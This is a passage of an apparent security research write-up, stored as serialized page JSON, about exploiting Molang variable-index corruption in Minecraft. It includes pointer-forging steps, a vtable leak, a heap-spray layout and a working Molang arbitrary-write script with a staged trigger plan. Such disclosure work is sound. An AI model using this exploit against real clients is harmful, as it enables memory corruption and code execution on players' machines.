variable.saved_upper_48;\n",[16599],{"type":26,"tag":83,"props":16600,"children":16601},{"__ignoreMap":8},[16602],{"type":32,"value":16597},{"type":26,"tag":39,"props":16604,"children":16605},{},[16606],{"type":32,"value":16607},"Yielding a valid pointer again:",{"type":26,"tag":207,"props":16609,"children":16611},{"code":16610},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[16612],{"type":26,"tag":83,"props":16613,"children":16614},{"__ignoreMap":8},[16615],{"type":32,"value":16610},{"type":26,"tag":39,"props":16617,"children":16618},{},[16619],{"type":32,"value":16620},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":26,"tag":207,"props":16622,"children":16624},{"code":16623},"variable.saved_adjusted_lower_16 = variable.a;\n",[16625],{"type":26,"tag":83,"props":16626,"children":16627},{"__ignoreMap":8},[16628],{"type":32,"value":16623},{"type":26,"tag":39,"props":16630,"children":16631},{},[16632],{"type":32,"value":16633},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":26,"tag":207,"props":16635,"children":16637},{"code":16636},"variable.a = variable.saved_upper_48;\n",[16638],{"type":26,"tag":83,"props":16639,"children":16640},{"__ignoreMap":8},[16641],{"type":32,"value":16636},{"type":26,"tag":39,"props":16643,"children":16644},{},[16645],{"type":32,"value":16646},"This produces the following state:",{"type":26,"tag":207,"props":16648,"children":16650},{"code":16649},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[16651],{"type":26,"tag":83,"props":16652,"children":16653},{"__ignoreMap":8},[16654],{"type":32,"value":16649},{"type":26,"tag":39,"props":16656,"children":16657},{},[16658,16660,16665,16667,16673,16675,16681,16683,16688,16690,16695],{"type":32,"value":16659},"As shown, ",{"type":26,"tag":83,"props":16661,"children":16663},{"className":16662},[],[16664],{"type":32,"value":15646},{"type":32,"value":16666}," now contains the upper 16 bits of the address (",{"type":26,"tag":83,"props":16668,"children":16670},{"className":16669},[],[16671],{"type":32,"value":16672},"0x1c80",{"type":32,"value":16674},"), which we can store as ",{"type":26,"tag":83,"props":16676,"children":16678},{"className":16677},[],[16679],{"type":32,"value":16680},"variable.saved_upper_16 = variable.b",{"type":32,"value":16682},". Meanwhile, ",{"type":26,"tag":83,"props":16684,"children":16686},{"className":16685},[],[16687],{"type":32,"value":15632},{"type":32,"value":16689}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":26,"tag":83,"props":16691,"children":16693},{"className":16692},[],[16694],{"type":32,"value":15646},{"type":32,"value":1473},{"type":26,"tag":207,"props":16697,"children":16698},{"code":16514},[16699],{"type":26,"tag":83,"props":16700,"children":16701},{"__ignoreMap":8},[16702],{"type":32,"value":16514},{"type":26,"tag":39,"props":16704,"children":16705},{},[16706],{"type":32,"value":16707},"Leaving us with:",{"type":26,"tag":207,"props":16709,"children":16711},{"code":16710},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[16712],{"type":26,"tag":83,"props":16713,"children":16714},{"__ignoreMap":8},[16715],{"type":32,"value":16710},{"type":26,"tag":39,"props":16717,"children":16718},{},[16719],{"type":32,"value":16720},"We can now save the middle 16 bits:",{"type":26,"tag":207,"props":16722,"children":16724},{"code":16723},"variable.saved_middle_16 = variable.a;\n",[16725],{"type":26,"tag":83,"props":16726,"children":16727},{"__ignoreMap":8},[16728],{"type":32,"value":16723},{"type":26,"tag":39,"props":16730,"children":16731},{},[16732],{"type":32,"value":16733},"At this point, we have:",{"type":26,"tag":207,"props":16735,"children":16737},{"code":16736},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[16738],{"type":26,"tag":83,"props":16739,"children":16740},{"__ignoreMap":8},[16741],{"type":32,"value":16736},{"type":26,"tag":39,"props":16743,"children":16744},{},[16745],{"type":32,"value":16746},"All three parts are valid float values, ensuring deterministic calculations.",{"type":26,"tag":39,"props":16748,"children":16749},{},[16750],{"type":32,"value":16751},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":26,"tag":207,"props":16753,"children":16755},{"code":16754},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[16756],{"type":26,"tag":83,"props":16757,"children":16758},{"__ignoreMap":8},[16759],{"type":32,"value":16754},{"type":26,"tag":39,"props":16761,"children":16762},{},[16763],{"type":32,"value":16764},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":26,"tag":207,"props":16766,"children":16768},{"code":16767},"variable.a = variable.saved_adjusted_middle_16;\n",[16769],{"type":26,"tag":83,"props":16770,"children":16771},{"__ignoreMap":8},[16772],{"type":32,"value":16767},{"type":26,"tag":39,"props":16774,"children":16775},{},[16776,16778,16783,16784,16790,16791,16797],{"type":32,"value":16777},"Setting ",{"type":26,"tag":83,"props":16779,"children":16781},{"className":16780},[],[16782],{"type":32,"value":15632},{"type":32,"value":15169},{"type":26,"tag":83,"props":16785,"children":16787},{"className":16786},[],[16788],{"type":32,"value":16789},"0xddcd",{"type":32,"value":7051},{"type":26,"tag":83,"props":16792,"children":16794},{"className":16793},[],[16795],{"type":32,"value":16796},"0xddcc + 1",{"type":32,"value":16798},"), and then:",{"type":26,"tag":207,"props":16800,"children":16802},{"code":16801},"variable.b = variable.saved_adjusted_upper_16;\n",[16803],{"type":26,"tag":83,"props":16804,"children":16805},{"__ignoreMap":8},[16806],{"type":32,"value":16801},{"type":26,"tag":39,"props":16808,"children":16809},{},[16810,16812,16817,16819,16825,16826,16832],{"type":32,"value":16811},"Resulting in ",{"type":26,"tag":83,"props":16813,"children":16815},{"className":16814},[],[16816],{"type":32,"value":15646},{"type":32,"value":16818}," value becoming ",{"type":26,"tag":83,"props":16820,"children":16822},{"className":16821},[],[16823],{"type":32,"value":16824},"0x1c81",{"type":32,"value":7051},{"type":26,"tag":83,"props":16827,"children":16829},{"className":16828},[],[16830],{"type":32,"value":16831},"0x1c80 + 1",{"type":32,"value":16833},"):",{"type":26,"tag":207,"props":16835,"children":16837},{"code":16836},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[16838],{"type":26,"tag":83,"props":16839,"children":16840},{"__ignoreMap":8},[16841],{"type":32,"value":16836},{"type":26,"tag":39,"props":16843,"children":16844},{},[16845],{"type":32,"value":16846},"Now we save the adjusted upper 48 bits:",{"type":26,"tag":207,"props":16848,"children":16850},{"code":16849},"variable.saved_adjusted_upper_48 = variable.a;\n",[16851],{"type":26,"tag":83,"props":16852,"children":16853},{"__ignoreMap":8},[16854],{"type":32,"value":16849},{"type":26,"tag":39,"props":16856,"children":16857},{},[16858],{"type":32,"value":16859},"Finally, we attach the lower 16 bits:",{"type":26,"tag":207,"props":16861,"children":16863},{"code":16862},"variable.a = variable.saved_adjusted_lower_16;\n",[16864],{"type":26,"tag":83,"props":16865,"children":16866},{"__ignoreMap":8},[16867],{"type":32,"value":16862},{"type":26,"tag":207,"props":16869,"children":16871},{"code":16870},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[16872],{"type":26,"tag":83,"props":16873,"children":16874},{"__ignoreMap":8},[16875],{"type":32,"value":16870},{"type":26,"tag":39,"props":16877,"children":16878},{},[16879],{"type":32,"value":16880},"And by setting:",{"type":26,"tag":207,"props":16882,"children":16884},{"code":16883},"variable.b = variable.saved_adjusted_upper_48;\n",[16885],{"type":26,"tag":83,"props":16886,"children":16887},{"__ignoreMap":8},[16888],{"type":32,"value":16883},{"type":26,"tag":39,"props":16890,"children":16891},{},[16892],{"type":32,"value":16893},"We forge the final adjusted pointer:",{"type":26,"tag":207,"props":16895,"children":16897},{"code":16896},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[16898],{"type":26,"tag":83,"props":16899,"children":16900},{"__ignoreMap":8},[16901],{"type":32,"value":16896},{"type":26,"tag":11933,"props":16903,"children":16904},{},[],{"type":26,"tag":39,"props":16906,"children":16907},{},[16908,16910,16915],{"type":32,"value":16909},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":26,"tag":83,"props":16911,"children":16913},{"className":16912},[],[16914],{"type":32,"value":16439},{"type":32,"value":16395},{"type":26,"tag":39,"props":16917,"children":16918},{},[16919,16921,16926,16928,16934,16936,16942,16944,16949],{"type":32,"value":16920},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":26,"tag":83,"props":16922,"children":16924},{"className":16923},[],[16925],{"type":32,"value":16439},{"type":32,"value":16927},". Instead, we need any two pointers on the heap - one pointing to ",{"type":26,"tag":83,"props":16929,"children":16931},{"className":16930},[],[16932],{"type":32,"value":16933},"addr",{"type":32,"value":16935}," and the other to ",{"type":26,"tag":83,"props":16937,"children":16939},{"className":16938},[],[16940],{"type":32,"value":16941},"addr + 2",{"type":32,"value":16943}," (as long as ",{"type":26,"tag":83,"props":16945,"children":16947},{"className":16946},[],[16948],{"type":32,"value":16933},{"type":32,"value":16950}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":26,"tag":39,"props":16952,"children":16953},{},[16954,16956,16961,16962,16967],{"type":32,"value":16955},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":26,"tag":83,"props":16957,"children":16959},{"className":16958},[],[16960],{"type":32,"value":12342},{"type":32,"value":16196},{"type":26,"tag":83,"props":16963,"children":16965},{"className":16964},[],[16966],{"type":32,"value":15202},{"type":32,"value":16968}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":26,"tag":207,"props":16970,"children":16972},{"code":16971},"variable.corrupted_var_map_ptr = variable.a;\n",[16973],{"type":26,"tag":83,"props":16974,"children":16975},{"__ignoreMap":8},[16976],{"type":32,"value":16971},{"type":26,"tag":39,"props":16978,"children":16979},{},[16980,16982,16987,16989,16995],{"type":32,"value":16981},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":26,"tag":83,"props":16983,"children":16985},{"className":16984},[],[16986],{"type":32,"value":15127},{"type":32,"value":16988}," field (in this case, the reconstructed pointer) and writes it to ",{"type":26,"tag":83,"props":16990,"children":16992},{"className":16991},[],[16993],{"type":32,"value":16994},"variable.corrupted_var_map_ptr",{"type":32,"value":16996},", even though the type itself is only a 32-bit float.",{"type":26,"tag":631,"props":16998,"children":17000},{"id":16999},"finding-misaligned-pointers",[17001],{"type":32,"value":17002},"Finding Misaligned Pointers",{"type":26,"tag":39,"props":17004,"children":17005},{},[17006,17008,17013,17014,17020],{"type":32,"value":17007},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":26,"tag":83,"props":17009,"children":17011},{"className":17010},[],[17012],{"type":32,"value":12350},{"type":32,"value":1308},{"type":26,"tag":83,"props":17015,"children":17017},{"className":17016},[],[17018],{"type":32,"value":17019},"ptr + 2",{"type":32,"value":17021},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":26,"tag":39,"props":17023,"children":17024},{},[17025,17030,17031,17036,17038,17043,17045,17050,17052,17057,17059,17064,17066,17072,17074,17079],{"type":26,"tag":83,"props":17026,"children":17028},{"className":17027},[],[17029],{"type":32,"value":15380},{"type":32,"value":16203},{"type":26,"tag":83,"props":17032,"children":17034},{"className":17033},[],[17035],{"type":32,"value":15403},{"type":32,"value":17037}," found inside every entity object. As noted earlier, a ",{"type":26,"tag":83,"props":17039,"children":17041},{"className":17040},[],[17042],{"type":32,"value":15232},{"type":32,"value":17044}," contains three pointers: ",{"type":26,"tag":83,"props":17046,"children":17048},{"className":17047},[],[17049],{"type":32,"value":12342},{"type":32,"value":17051}," (the start of the allocated buffer), ",{"type":26,"tag":83,"props":17053,"children":17055},{"className":17054},[],[17056],{"type":32,"value":15325},{"type":32,"value":17058}," (just past the last element) and ",{"type":26,"tag":83,"props":17060,"children":17062},{"className":17061},[],[17063],{"type":32,"value":15333},{"type":32,"value":17065}," (the end of the allocated buffer). Because the element type is ",{"type":26,"tag":83,"props":17067,"children":17069},{"className":17068},[],[17070],{"type":32,"value":17071},"uint16_t",{"type":32,"value":17073},", the ",{"type":26,"tag":83,"props":17075,"children":17077},{"className":17076},[],[17078],{"type":32,"value":15325},{"type":32,"value":17080}," pointer advances by 2 bytes each time a new element is added.",{"type":26,"tag":39,"props":17082,"children":17083},{},[17084,17086,17091,17093,17099],{"type":32,"value":17085},"We can make the ",{"type":26,"tag":83,"props":17087,"children":17089},{"className":17088},[],[17090],{"type":32,"value":15325},{"type":32,"value":17092}," pointer equal to ",{"type":26,"tag":83,"props":17094,"children":17096},{"className":17095},[],[17097],{"type":32,"value":17098},"cap - 2",{"type":32,"value":17100}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":26,"tag":207,"props":17102,"children":17104},{"code":17103},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[17105],{"type":26,"tag":83,"props":17106,"children":17107},{"__ignoreMap":8},[17108],{"type":32,"value":17103},{"type":26,"tag":11933,"props":17110,"children":17111},{},[],{"type":26,"tag":39,"props":17113,"children":17114},{},[17115,17117,17122,17124,17129,17131,17136,17138,17143,17144,17149],{"type":32,"value":17116},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":26,"tag":83,"props":17118,"children":17120},{"className":17119},[],[17121],{"type":32,"value":12342},{"type":32,"value":17123}," pointer of ",{"type":26,"tag":83,"props":17125,"children":17127},{"className":17126},[],[17128],{"type":32,"value":15202},{"type":32,"value":17130}," in the entity object above, one that would index ",{"type":26,"tag":83,"props":17132,"children":17134},{"className":17133},[],[17135],{"type":32,"value":15325},{"type":32,"value":17137}," and the final ",{"type":26,"tag":83,"props":17139,"children":17141},{"className":17140},[],[17142],{"type":32,"value":15333},{"type":32,"value":17123},{"type":26,"tag":83,"props":17145,"children":17147},{"className":17146},[],[17148],{"type":32,"value":15380},{"type":32,"value":17150}," also in the same entity object above.",{"type":26,"tag":39,"props":17152,"children":17153},{},[17154,17156,17162,17163,17169,17171,17176,17177,17182,17184,17189,17191,17196,17197,17202,17204,17209],{"type":32,"value":17155},"The corrupted variables ",{"type":26,"tag":83,"props":17157,"children":17159},{"className":17158},[],[17160],{"type":32,"value":17161},"variable.corrupted_len_ptr",{"type":32,"value":1308},{"type":26,"tag":83,"props":17164,"children":17166},{"className":17165},[],[17167],{"type":32,"value":17168},"variable.corrupted_cap_ptr",{"type":32,"value":17170}," point to ",{"type":26,"tag":83,"props":17172,"children":17174},{"className":17173},[],[17175],{"type":32,"value":15325},{"type":32,"value":1308},{"type":26,"tag":83,"props":17178,"children":17180},{"className":17179},[],[17181],{"type":32,"value":15333},{"type":32,"value":17183},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":26,"tag":83,"props":17185,"children":17187},{"className":17186},[],[17188],{"type":32,"value":16994},{"type":32,"value":17190},", points to the ",{"type":26,"tag":83,"props":17192,"children":17194},{"className":17193},[],[17195],{"type":32,"value":12342},{"type":32,"value":16196},{"type":26,"tag":83,"props":17198,"children":17200},{"className":17199},[],[17201],{"type":32,"value":15202},{"type":32,"value":17203},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":26,"tag":83,"props":17205,"children":17207},{"className":17206},[],[17208],{"type":32,"value":15202},{"type":32,"value":17210},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":26,"tag":39,"props":17212,"children":17213},{},[17214],{"type":32,"value":17215},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":26,"tag":631,"props":17217,"children":17219},{"id":17218},"leaking-pointers",[17220],{"type":32,"value":17221},"Leaking Pointers",{"type":26,"tag":39,"props":17223,"children":17224},{},[17225,17227,17233],{"type":32,"value":17226},"In C++, an object’s first field is typically a ",{"type":26,"tag":83,"props":17228,"children":17230},{"className":17229},[],[17231],{"type":32,"value":17232},"vtable",{"type":32,"value":17234}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":26,"tag":207,"props":17236,"children":17238},{"code":17237},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[17239],{"type":26,"tag":83,"props":17240,"children":17241},{"__ignoreMap":8},[17242],{"type":32,"value":17237},{"type":26,"tag":39,"props":17244,"children":17245},{},[17246,17247,17252,17254,17259,17261,17266,17268,17273,17275,17280,17281,17286,17288,17293],{"type":32,"value":475},{"type":26,"tag":83,"props":17248,"children":17250},{"className":17249},[],[17251],{"type":32,"value":15127},{"type":32,"value":17253}," field inside a ",{"type":26,"tag":83,"props":17255,"children":17257},{"className":17256},[],[17258],{"type":32,"value":14869},{"type":32,"value":17260}," is at offset ",{"type":26,"tag":83,"props":17262,"children":17264},{"className":17263},[],[17265],{"type":32,"value":15134},{"type":32,"value":17267},". We already control a corrupted variable, ",{"type":26,"tag":83,"props":17269,"children":17271},{"className":17270},[],[17272],{"type":32,"value":17161},{"type":32,"value":17274},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":26,"tag":83,"props":17276,"children":17278},{"className":17277},[],[17279],{"type":32,"value":15325},{"type":32,"value":16196},{"type":26,"tag":83,"props":17282,"children":17284},{"className":17283},[],[17285],{"type":32,"value":15380},{"type":32,"value":17287}," by 2 bytes, which in turn advances ",{"type":26,"tag":83,"props":17289,"children":17291},{"className":17290},[],[17292],{"type":32,"value":17161},{"type":32,"value":17294}," by 2 bytes.",{"type":26,"tag":39,"props":17296,"children":17297},{},[17298,17300,17305,17307,17313,17314,17319,17320,17325,17327,17332],{"type":32,"value":17299},"By moving ",{"type":26,"tag":83,"props":17301,"children":17303},{"className":17302},[],[17304],{"type":32,"value":15325},{"type":32,"value":17306}," so it equals ",{"type":26,"tag":83,"props":17308,"children":17310},{"className":17309},[],[17311],{"type":32,"value":17312},"cap - 0x38",{"type":32,"value":17073},{"type":26,"tag":83,"props":17315,"children":17317},{"className":17316},[],[17318],{"type":32,"value":15127},{"type":32,"value":16196},{"type":26,"tag":83,"props":17321,"children":17323},{"className":17322},[],[17324],{"type":32,"value":17161},{"type":32,"value":17326}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":26,"tag":83,"props":17328,"children":17330},{"className":17329},[],[17331],{"type":32,"value":17232},{"type":32,"value":17333}," pointer. We can then capture that pointer with:",{"type":26,"tag":207,"props":17335,"children":17337},{"code":17336},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[17338],{"type":26,"tag":83,"props":17339,"children":17340},{"__ignoreMap":8},[17341],{"type":32,"value":17336},{"type":26,"tag":39,"props":17343,"children":17344},{},[17345,17347,17352,17354,17359,17361,17366,17368,17374],{"type":32,"value":17346},"After saving the leak, we add 27 unseen variables to advance ",{"type":26,"tag":83,"props":17348,"children":17350},{"className":17349},[],[17351],{"type":32,"value":15325},{"type":32,"value":17353}," until it equals ",{"type":26,"tag":83,"props":17355,"children":17357},{"className":17356},[],[17358],{"type":32,"value":17098},{"type":32,"value":17360},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":26,"tag":83,"props":17362,"children":17364},{"className":17363},[],[17365],{"type":32,"value":17232},{"type":32,"value":17367}," address in ",{"type":26,"tag":83,"props":17369,"children":17371},{"className":17370},[],[17372],{"type":32,"value":17373},"variable.saved_vtable_pointer",{"type":32,"value":180},{"type":26,"tag":11933,"props":17376,"children":17377},{},[],{"type":26,"tag":39,"props":17379,"children":17380},{},[17381,17383,17389,17391,17397],{"type":32,"value":17382},"A Molang script that performs an arbitrary write of the value ",{"type":26,"tag":83,"props":17384,"children":17386},{"className":17385},[],[17387],{"type":32,"value":17388},"0x1337",{"type":32,"value":17390}," to the address ",{"type":26,"tag":83,"props":17392,"children":17394},{"className":17393},[],[17395],{"type":32,"value":17396},"vtable + 0x1000",{"type":32,"value":17398}," looks like this:",{"type":26,"tag":207,"props":17400,"children":17402},{"code":17401},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[17403],{"type":26,"tag":83,"props":17404,"children":17405},{"__ignoreMap":8},[17406],{"type":32,"value":17401},{"type":26,"tag":631,"props":17408,"children":17410},{"id":17409},"required-heap-layout",[17411],{"type":32,"value":17412},"Required Heap Layout",{"type":26,"tag":39,"props":17414,"children":17415},{},[17416],{"type":32,"value":17417},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":26,"tag":207,"props":17419,"children":17421},{"code":17420},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[17422],{"type":26,"tag":83,"props":17423,"children":17424},{"__ignoreMap":8},[17425],{"type":32,"value":17420},{"type":26,"tag":39,"props":17427,"children":17428},{},[17429,17431,17437,17439,17444,17446,17451,17453,17458,17459,17464],{"type":32,"value":17430},"The first region (",{"type":26,"tag":83,"props":17432,"children":17434},{"className":17433},[],[17435],{"type":32,"value":17436},"Heap Region 1",{"type":32,"value":17438},") contains alternating ",{"type":26,"tag":83,"props":17440,"children":17442},{"className":17441},[],[17443],{"type":32,"value":15202},{"type":32,"value":17445},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":26,"tag":83,"props":17447,"children":17449},{"className":17448},[],[17450],{"type":32,"value":15232},{"type":32,"value":17452}," pointers of ",{"type":26,"tag":83,"props":17454,"children":17456},{"className":17455},[],[17457],{"type":32,"value":15202},{"type":32,"value":1308},{"type":26,"tag":83,"props":17460,"children":17462},{"className":17461},[],[17463],{"type":32,"value":15380},{"type":32,"value":17465}," from the entity object for our main attack.",{"type":26,"tag":39,"props":17467,"children":17468},{},[17469,17471,17477,17479,17484,17486,17491,17493,17498,17500,17505],{"type":32,"value":17470},"The second region (",{"type":26,"tag":83,"props":17472,"children":17474},{"className":17473},[],[17475],{"type":32,"value":17476},"Heap Region 2",{"type":32,"value":17478},") contains interleaved ",{"type":26,"tag":83,"props":17480,"children":17482},{"className":17481},[],[17483],{"type":32,"value":15380},{"type":32,"value":17485},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":26,"tag":83,"props":17487,"children":17489},{"className":17488},[],[17490],{"type":32,"value":17232},{"type":32,"value":17492}," pointer into ",{"type":26,"tag":83,"props":17494,"children":17496},{"className":17495},[],[17497],{"type":32,"value":17161},{"type":32,"value":17499}," during our main attack. It could be any object with a ",{"type":26,"tag":83,"props":17501,"children":17503},{"className":17502},[],[17504],{"type":32,"value":17232},{"type":32,"value":17506},", but for simplicity we use the entity object.",{"type":26,"tag":39,"props":17508,"children":17509},{},[17510,17512,17518,17520,17525],{"type":32,"value":17511},"During the attack, overwriting another variable's pointer with\n",{"type":26,"tag":83,"props":17513,"children":17515},{"className":17514},[],[17516],{"type":32,"value":17517},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":32,"value":17519}," will very likely clobber the ",{"type":26,"tag":83,"props":17521,"children":17523},{"className":17522},[],[17524],{"type":32,"value":15702},{"type":32,"value":17526}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":26,"tag":39,"props":17528,"children":17529},{},[17530],{"type":32,"value":17531},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":26,"tag":39,"props":17533,"children":17534},{},[17535],{"type":32,"value":17536},"The final exploit proceeds in three stages:",{"type":26,"tag":6712,"props":17538,"children":17539},{},[17540,17545,17550],{"type":26,"tag":2044,"props":17541,"children":17542},{},[17543],{"type":32,"value":17544},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":26,"tag":2044,"props":17546,"children":17547},{},[17548],{"type":32,"value":17549},"Perform the heap spray with signs to create the desired layout for the attack",{"type":26,"tag":2044,"props":17551,"children":17552},{},[17553],{"type":32,"value":17554},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":26,"tag":631,"props":17556,"children":17558},{"id":17557},"initial-corruption-variant-lfh-heap-approach",[17559],{"type":32,"value":17560},"Initial Corruption Variant: LFH Heap Approach",{"type":26,"tag":39,"props":17562,"children":17563},{},[17564],{"type":32,"value":17565},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":26,"tag":39,"props":17567,"children":17568},{},[17569,17571,17576,17578,17584],{"type":32,"value":17570},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":26,"tag":83,"props":17572,"children":17574},{"className":17573},[],[17575],{"type":32,"value":15447},{"type":32,"value":17577},", and ",{"type":26,"tag":83,"props":17579,"children":17581},{"className":17580},[],[17582],{"type":32,"value":17583},"last_index",{"type":32,"value":17585}," is initialized to 0 at program start. 